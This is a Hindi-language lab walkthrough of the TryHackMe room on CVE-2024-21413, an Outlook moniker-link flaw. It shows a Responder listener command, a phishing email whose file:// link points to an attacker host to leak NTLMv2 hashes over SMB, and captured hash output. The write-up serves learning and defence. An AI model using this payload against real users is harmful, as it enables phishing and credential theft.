
TryHackMe Moniker Link (CVE-2024-21413) वॉकथ्रू: Outlook संरक्षित दृश्य बायपास जिससे एक क्राफ्टेड मोनिकर लिंक के माध्यम से NTLMv2 हैश कैप्चर होता है।
TryHackMe की "Moniker Link" रूम का एक पूर्ण वॉकथ्रू: CVE-2024-21413, जो 2024 का Microsoft Outlook भेद्यता है, का उपयोग करके पीड़ित का NTLMv2 हैश उसी पल चुराना जब वे फ़िशिंग ईमेल में एक लिंक पर क्लिक करते हैं — न कोई मैक्रो, न अटैचमेंट, न कोई स्पष्ट सुरक्षा चेतावनी।
CVE-2024-21413 ("Moniker Link") Outlook के file:// लिंक को मान्य (validate) करने के तरीके में एक भेद्यता है, जो Windows OLE "moniker" सिंटैक्स का उपयोग करते हैं (पथ के बाद एक अनुगामी !, जैसे file://host/share!something)। Outlook को बाहरी फ़ाइल लिंक को Protected View के माध्यम से खोलना चाहिए, जो फ़ाइल को सैंडबॉक्स करता है और किसी भी क्रेडेंशियल के लीक होने से पहले उपयोगकर्ता को चेतावनी देता है। अतिरिक्त ! Outlook के अपने URL पार्सर को इतना तोड़ देता है कि वह Protected View को पूरी तरह से छोड़ देता है और लिंक सीधे Windows को सौंप देता है, जो — क्योंकि यह UNC पथ जैसा दिखता है — चुपचाप हमलावर के सर्वर के विरुद्ध SMB प्रमाणीकरण (authentication) का प्रयास करता है। वह प्रमाणीकरण प्रयास पीड़ित के NTLMv2 हैश को लीक कर देता है, इससे पहले कि पीड़ित ने एक सामान्य दिखने वाले लिंक पर क्लिक करने के अलावा कुछ और किया हो।
| कार्य | लक्ष्य |
|---|---|
| 1. Recon | CVE को समझना और यह कि moniker-link पार्सिंग बग Protected View को कैसे बायपास करता है |
| 2. लिसनर सेट करना | आउटबाउंड SMB प्रमाणीकरण को पकड़ने के लिए Responder को खड़ा करना |
| 3. Weaponize | एक दुर्भावनापूर्ण moniker लिंक वाला फ़िशिंग ईमेल बनाना |
| 4. डिलीवर करना | ईमेल को पीड़ित के मेलबॉक्स में भेजना |
| 5. कैप्चर करना | पीड़ित से लिंक पर क्लिक करवाना और उनका NTLMv2 हैश कैप्चर करना |
responder -I ens5
कुछ भी भेजने से पहले Responder को हमलावर बॉक्स के इंटरफ़ेस पर LLMNR, NBT-NS और DNS पॉइज़निंग सक्षम करके शुरू किया जाता है। यही वास्तव में क्रेडेंशियल लीक को कैप्चर करता है: एक बार जब एक्सप्लॉइट Outlook को हमलावर के IP के विरुद्ध SMB auth का प्रयास करने के लिए धोखा देता है, तो Responder ही दूसरे छोर पर उसे पकड़ने के लिए सुन रहा होता है।

लक्ष्य एक मानक Outlook मेलबॉक्स है, [email protected], जो किसी भी फ़िशिंग ईमेल के आने से पहले अपने सामान्य इनबॉक्स दृश्य में है — यही आधार रेखा है जिससे बाकी रूम काम करती है।

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
एक्सप्लॉइट (CMNatic का सार्वजनिक CVE-2024-21413 PoC) एक छोटी Python स्क्रिप्ट है जो SMTP पर एक HTML ईमेल बनाती और भेजती है। पेलोड पूरी तरह से एक पंक्ति में है: हमलावर की मशीन पर इंगित एक <a href="file://..."> लिंक, जिसके पथ के अंत में !exploit जुड़ा हुआ है। वह अनुगामी ! ही पूरा बग है — यही Outlook के लिंक पार्सर को URL को गलत वर्गीकृत करने और Protected View जाँच को छोड़ने के लिए प्रेरित करता है, जिसे वह सामान्यतः किसी बाहरी फ़ाइल लिंक पर लागू करता है।

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
स्क्रिप्ट चलाने से मेल सर्वर पर प्रमाणीकरण होता है और तैयार किया गया ईमेल पीड़ित को भेज दिया जाता है। Email delivered पुष्टि करता है कि यह हमलावर के मेलबॉक्स से सफलतापूर्वक निकल गया।

ईमेल [email protected] के इनबॉक्स में CMNatic से आता है, विषय CVE-2024-21413, जिसमें "Click me" पढ़ने वाले एक ही हाइपरलिंक के अलावा कुछ नहीं है — न अटैचमेंट, न मैक्रो चेतावनी, न कुछ ऐसा जो आमतौर पर किसी फ़िशिंग फ़िल्टर या सतर्क उपयोगकर्ता को संदिग्ध लगे।

"Click me" पर क्लिक करने से Outlook का Windows Explorer त्रुटि संवाद सक्रिय होता है: "We can't find '\10.113.72.84\test!exploit'. Please make sure you're using the correct location or web address." यह त्रुटि वास्तव में इस बात का प्रमाण है कि एक्सप्लॉइट पहले ही काम कर चुका है — जब तक यह संवाद प्रकट होता है, Windows पहले ही उस UNC पथ को SMB के माध्यम से हल करने का प्रयास कर चुका होता है और इस प्रक्रिया में 10.113.72.84 (हमलावर मशीन) पर प्रमाणीकरण कर चुका होता है। दिखाई देने वाली विफलता केवल Explorer द्वारा उस शेयर को खोजने में विफलता है जिसे कभी अस्तित्व में रहने का इरादा नहीं था; क्रेडेंशियल लीक त्रुटि बॉक्स के प्रकट होने से पहले ही चुपचाप हो चुका होता है।

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
हमलावर बॉक्स पर वापस, Responder पहले ही THM-MONIKERLINK\tryhackme के लिए पूर्ण NTLMv2-SSP हैंडशेक कैप्चर कर चुका है, जो 10.113.150.143 (पीड़ित) से आया है। न कोई क्रेडेंशियल प्रॉम्प्ट, न सुरक्षा चेतावनी, और एक साधारण लिंक जैसा दिखने वाले लिंक पर एक क्लिक के अलावा उपयोगकर्ता की कोई कार्रवाई नहीं — जिस क्षण Outlook ने moniker लिंक को गलत तरीके से संभाला, हैश क्रैक करने या रिले करने के लिए तैयार था।

!) पूरी भेद्यता थी। CVE-2024-21413 एक अच्छा अनुस्मारक है कि URL/पथ पार्सर सुरक्षा-सीमा बायपास का एक सामान्य स्रोत हैं — एक दोषपूर्ण इनपुट को किसी जाँच को पार करने के लिए जटिल होने की आवश्यकता नहीं है, उसे केवल ऐसे कोड पथ में उतरना होता है जिसे जाँच कवर नहीं करती।file:// लिंक से NTLM रिले/कैप्चर एक पुरानी तकनीक है; इस CVE को उल्लेखनीय बनाने वाली बात यह थी कि Outlook को बिना किसी चेतावनी के लिंक को सक्रिय नहीं होने देना चाहिए था।